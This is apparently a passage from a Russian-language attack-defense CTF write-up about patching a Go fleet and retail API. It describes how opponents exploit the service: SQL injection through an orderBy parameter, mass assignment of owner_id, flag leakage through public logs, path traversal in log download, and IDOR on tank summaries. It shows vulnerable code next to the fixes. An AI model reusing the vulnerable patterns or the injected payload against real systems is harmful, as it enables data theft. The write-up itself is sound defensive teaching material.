**Как бьют (наш сервис):**
- Отправляют `orderBy=SELECT ROLE_FIN_FLAG FROM CONFIGS WHERE USER_ID=N` → 400 с текстом, содержащим `FLAG{...}`.

## Решение:

**Webhooks: mass assignment и доступ к чужим секретам.**

**Суть уязвимости:**
- `POST /api/fleet/webhooks` и `POST /api/fleet/routes/import` доверяли `owner_id` из тела запроса и писали его напрямую в `OwnerID`.
- `GET /api/fleet/webhooks/{id}` отдавал вебхук по ID без проверки владельца.

Это позволило создавать/перехватывать вебхуки чужих пользователей и читать их `secret_token`.

**Было (усечённо):**

```go
// FleetWebhooks (POST)
var in struct {
    URL         string `json:"url"`
    OwnerID     int    `json:"owner_id"`
    SecretToken string `json:"secret_token"`
}
if !util.ReadJSON(w, r, &in) { return }
wb := &models.Webhook{
    URL:         in.URL,
    OwnerID:     in.OwnerID,
    SecretToken: in.SecretToken,
}
out := st.UpsertWebhook(wb)

// FleetImport
if in.Webhook != nil {
    st.UpsertWebhook(&models.Webhook{
        ID:      in.Webhook.ID,
        URL:     in.Webhook.URL,
        OwnerID: in.Webhook.OwnerID,
    })
}

// FleetWebhookGet
wb := st.GetWebhookByID(id)
if wb == nil {
    http.Error(w, "not found", 404)
    return
}
util.JSON(w, 200, wb)
```

**Стало:**
**FleetWebhooks: OwnerID теперь всегда = текущий пользователь.**

```go
func FleetWebhooks(st *store.Store) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r
*http.Request) {
       u := middleware.CurrentUser(r.Context())
       if u == nil {
          http.Error(w, "unauthorized", http.StatusUnauthorized)
          return
       }

       switch r.Method {
       case http.MethodGet:
          wbs := st.ListWebhooksByOwner(u.ID)
          util.JSON(w, http.StatusOK, map[string]any{"items": wbs})
          return
```

```
        case http.MethodPost:
            var in struct {
                URL         string `json:"url"`
                OwnerID     int    `json:"owner_id,omitempty"`
                SecretToken string `json:"secret_token"`
            }
            if !util.ReadJSON(w, r, &in) {
                return
            }

            wb := &models.Webhook{
                URL:         in.URL,
                OwnerID:     u.ID,
                SecretToken: in.SecretToken,
            }
            out := st.UpsertWebhook(wb)
            if out == nil {
                http.Error(w, "cannot upsert webhook",
http.StatusInternalServerError)
                return
            }
            util.JSON(w, http.StatusOK, map[string]any{"id": out.ID})
            return

        default:
            http.Error(w, "method not allowed",
http.StatusMethodNotAllowed)
            return
        }
    })
}
```

## FleetImport: тоже привязываем к u.ID:

```go
func FleetImport(st *store.Store) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r
*http.Request) {
        u := middleware.CurrentUser(r.Context())
        if u == nil {
            http.Error(w, "unauthorized", http.StatusUnauthorized)
            return
        }

        if r.Method != http.MethodPost {
            http.Error(w, "method not allowed",
http.StatusMethodNotAllowed)
            return
        }

        var in struct {
            RouteName string `json:"route_name"`
            Webhook   *struct {
                ID      int    `json:"id"`
                URL     string `json:"url"`
                OwnerID int    `json:"owner_id"`
            } `json:"webhook,omitempty"`
        }
        if !util.ReadJSON(w, r, &in) {
            return
        }

        if in.Webhook != nil {
            st.UpsertWebhook(&models.Webhook{
                ID:      in.Webhook.ID,
```

```
            URL:     in.Webhook.URL,
            OwnerID: u.ID, // ВАЖНО: игнорируем присланный
owner_id
        })
    }

    util.JSON(w, http.StatusOK, map[string]any{"ok": 1})
  })
}
```

**FleetWebhookGet: проверка владельца перед отдачей:**

```go
func FleetWebhookGet(st *store.Store) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r
*http.Request) {
        u := middleware.CurrentUser(r.Context())
        if u == nil {
            http.Error(w, "unauthorized", http.StatusUnauthorized)
            return
        }

        segs := strings.Split(strings.Trim(r.URL.Path, "/"), "/")
        if r.Method != http.MethodGet || len(segs) != 4 ||
            segs[0] != "api" || segs[1] != "fleet" || segs[2] !=
"webhooks" {
            http.NotFound(w, r)
            return
        }
        id, _ := strconv.Atoi(segs[3])
        wb := st.GetWebhookByID(id)
        if wb == nil || wb.OwnerID != u.ID {
            http.Error(w, "not found", http.StatusNotFound)
            return
        }

        util.JSON(w, http.StatusOK, wb)
    })
}
```

# 04

## Уязвимость #4: Публичные логи + log-poisoning через аудит.

**Компонент/маршруты:**
- `GET /api/logs` открыт (чекер пингует «на живость»).
- `POST /api/audit/emit` принимает `log_flag` и любые `note`.

**Как бьют (наш сервис):**
1. Кладут флаг через `audit/emit`,
2. затем либо читают `GET /api/audit/events`, либо грепают в `/api/logs?q=FLAG{`.

# Решение:

**Логи и аудит: флаг в логах + path traversal.**

**Суть уязвимости:**

- `AuditEmit` логировал `log_flag` вместе с событием в файл логов.
- `/api/logs` позволял искать по этим логам всем.
- `/api/logs/download` позволял скачивать файлы по произвольному пути.

**Было (схематично):**

```go
func AuditEmit(...) {
    var in map[string]any
    ReadJSON(&in)
    logFlag, _ := in["log_flag"].(string)
    ...
    ev := st.AddAuditEvent(..., logFlag, ...)
    appendLogLineRaw(cfg, map[string]any{
        "event":    "audit_emit",
        "id":       ev.ID,
        "owner_id": ownerID,
        "log_flag": ev.LogFlag,
        "ts":       ...,
    })
    JSON 200 {"ts_unix_ms": nowMs}
}

func LogsDownload(cfg) http.HandlerFunc {
    name := r.URL.Query().Get("file")
    _ = looksMostlySafe(name)
    p := filepath.Join(cfg.LogsDir, name)
    http.ServeFile(w, r, p)
}
```

**Стало:**

**AuditEmit: log_flag больше не пишется в файл, только в БД.**

```go
func AuditEmit(cfg *config.AppConfig, st *store.Store)
http.HandlerFunc {
    return func(w http.ResponseWriter, r *http.Request) {
        var in map[string]any
        if !util.ReadJSON(w, r, &in) {
            return
        }

        kind, _ := in["kind"].(string)
        note, _ := in["note"].(string)
        logFlag, _ := in["log_flag"].(string)

        ownerID := 0
        if u := middleware.CurrentUser(r.Context()); u != nil {
            ownerID = u.ID
        } else {
            if auth := r.Header.Get("Authorization");
strings.HasPrefix(auth, "Bearer ") {
                tok := strings.TrimSpace(strings.TrimPrefix(auth,
"Bearer "))
```

```
            if claims, err := crypto.Verify(cfg.KeysDir, tok); err
== nil && claims != nil && claims.Sub > 0 {
                ownerID = claims.Sub
            }
        }
    }

    nowMs := time.Now().UnixNano() / int64(time.Millisecond)
    ev := st.AddAuditEvent(ownerID, kind, note, logFlag, nil,
nowMs)

    _ = appendLogLineRaw(cfg, map[string]any{
        "ts":       time.Now().Format(time.RFC3339Nano),
        "event":    "audit_emit",
        "owner_id": ownerID,
        "note":     note,
        "kind":     kind,
        "id":       ev.ID,
    })

    util.JSON(w, http.StatusOK, map[string]any{
        "ok":         1,
        "request_id": ev.ID,
        "ts_unix_ms": nowMs,
    })
  }
}
```

**LogsDownload: отключён для всех (безопасный вариант):**

```go
func LogsDownload(cfg *config.AppConfig) http.HandlerFunc {
   return func(w http.ResponseWriter, r *http.Request) {
      http.Error(w, "forbidden", http.StatusForbidden)
   }
}
```

LogsSearch при этом оставлен минимальным и безопасным (для чекера), но не выдаёт содержимое логов наружу.

05

## Уязвимость #5: Retail: публичная summary бака утекает role_retail_flag.

**Компонент/маршруты:**
GET /api/retail/tanks/{id}/summary в CTF отдаёт owner_configs (включая role_retail_flag) публично.

**Как бьют (наш сервис):**
Подбирают tank_id → читают owner_configs.role_retail_flag из ответа.

## Решение:
**Retail summary и события баков.**

**Суть уязвимости:**
- `GET /api/retail/tanks/{id}/summary` отдавал `role_retail_flag` в `OwnerConfig` без авторизации.
- `/api/retail/tanks/{id}/events` позволял любому авторизованному пользователю читать/писать события по любому баку по ID.

**Было (кратко):**

```go
// RetailSummary
func RetailSummary(st *store.Store) http.HandlerFunc {
    return func(w http.ResponseWriter, r *http.Request) {
        segs := ...
        id, _ := strconv.Atoi(segs[3])
        tk := st.TankByID(id)
        owner := st.GetUserByID(tk.OwnerID)
        cfg := map[string]any{
            "role_retail_flag": st.ReadUserConfigString(tk.OwnerID,
"role_retail_flag"),
        }
        out := tankSummaryDTO{ ..., OwnerConfig: cfg }
        util.JSON(w, 200, out)
    }
}

list := st.ListTankEvents(tid, since, 500)
ev := st.AddTankEvent(tid, in.Kind, in.Value, in.Meta, nowMs())
```

**Стало:**
**RetailSummary: только авторизованный владелец бака, без флага.**

```go
func RetailSummary(st *store.Store) http.HandlerFunc {
    return func(w http.ResponseWriter, r *http.Request) {
        u := middleware.CurrentUser(r.Context())
        if u == nil {
            http.Error(w, "unauthorized", http.StatusUnauthorized)
            return
        }

        segs := strings.Split(strings.Trim(r.URL.Path, "/"), "/")
        if len(segs) != 5 ||
            segs[0] != "api" || segs[1] != "retail" ||
            segs[2] != "tanks" || segs[4] != "summary" {
            http.NotFound(w, r)
            return
        }

        id, _ := strconv.Atoi(segs[3])
        tk := st.TankByID(id)
        if tk == nil || tk.OwnerID != u.ID {
            http.NotFound(w, r)
            return
        }

        owner := st.GetUserByID(tk.OwnerID)

        out := tankSummaryDTO{
            ID:          tk.ID,
```

```
            Name:       tk.Name,
            Level:      tk.Level,
            OwnerName:  owner.Name,
            OwnerEmail: owner.Email,
        }

        util.JSON(w, http.StatusOK, out)
    }
}
```

## RetailTankEvents: события доступны только владельцу бака.

```go
type tankEventDTO struct {
    Kind  string         `json:"kind"`
    Value float64        `json:"value"`
    Meta  map[string]any `json:"meta"`
}
func RetailTankEvents(st *store.Store) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r
*http.Request) {
        u := middleware.CurrentUser(r.Context())
        if u == nil {
            http.Error(w, "unauthorized",
http.StatusUnauthorized)
            return
        }
```

```
        segs := strings.Split(strings.Trim(r.URL.Path, "/"), "/")
        if len(segs) < 4 || segs[0] != "api" || segs[1] != "retail" ||
segs[2] != "tanks" {
            http.NotFound(w, r)
            return
        }

        if r.Method == http.MethodPost && len(segs) == 5 && segs[4] ==
"event" {
            tid, _ := strconv.Atoi(segs[3])
            tk := st.TankByID(tid)
            if tk == nil || tk.OwnerID != u.ID {
                http.Error(w, "not found", http.StatusNotFound)
                return
            }

            var in tankEventDTO
            if !util.ReadJSON(w, r, &in) {
                return
            }

            ev := st.AddTankEvent(tid, in.Kind, in.Value, in.Meta,
time.Now().UnixMilli())
            util.JSON(w, http.StatusOK, ev)
            return
        }

        if r.Method == http.MethodGet && len(segs) == 5 && segs[4] ==
"events" {
            tid, _ := strconv.Atoi(segs[3])
            tk := st.TankByID(tid)
            if tk == nil || tk.OwnerID != u.ID {
```

```
            http.Error(w, "not found", http.StatusNotFound)
            return
         }

         since := int64(0)
         if v := r.URL.Query().Get("since_ms"); v != "" {
            if n, err := strconv.ParseInt(v, 10, 64); err == nil {
               since = n
            }
         }

         list := st.ListTankEvents(tid, since, 500)
         util.JSON(w, http.StatusOK, map[string]any{"items":
list})
         return
      }

      http.NotFound(w, r)
   })
}
```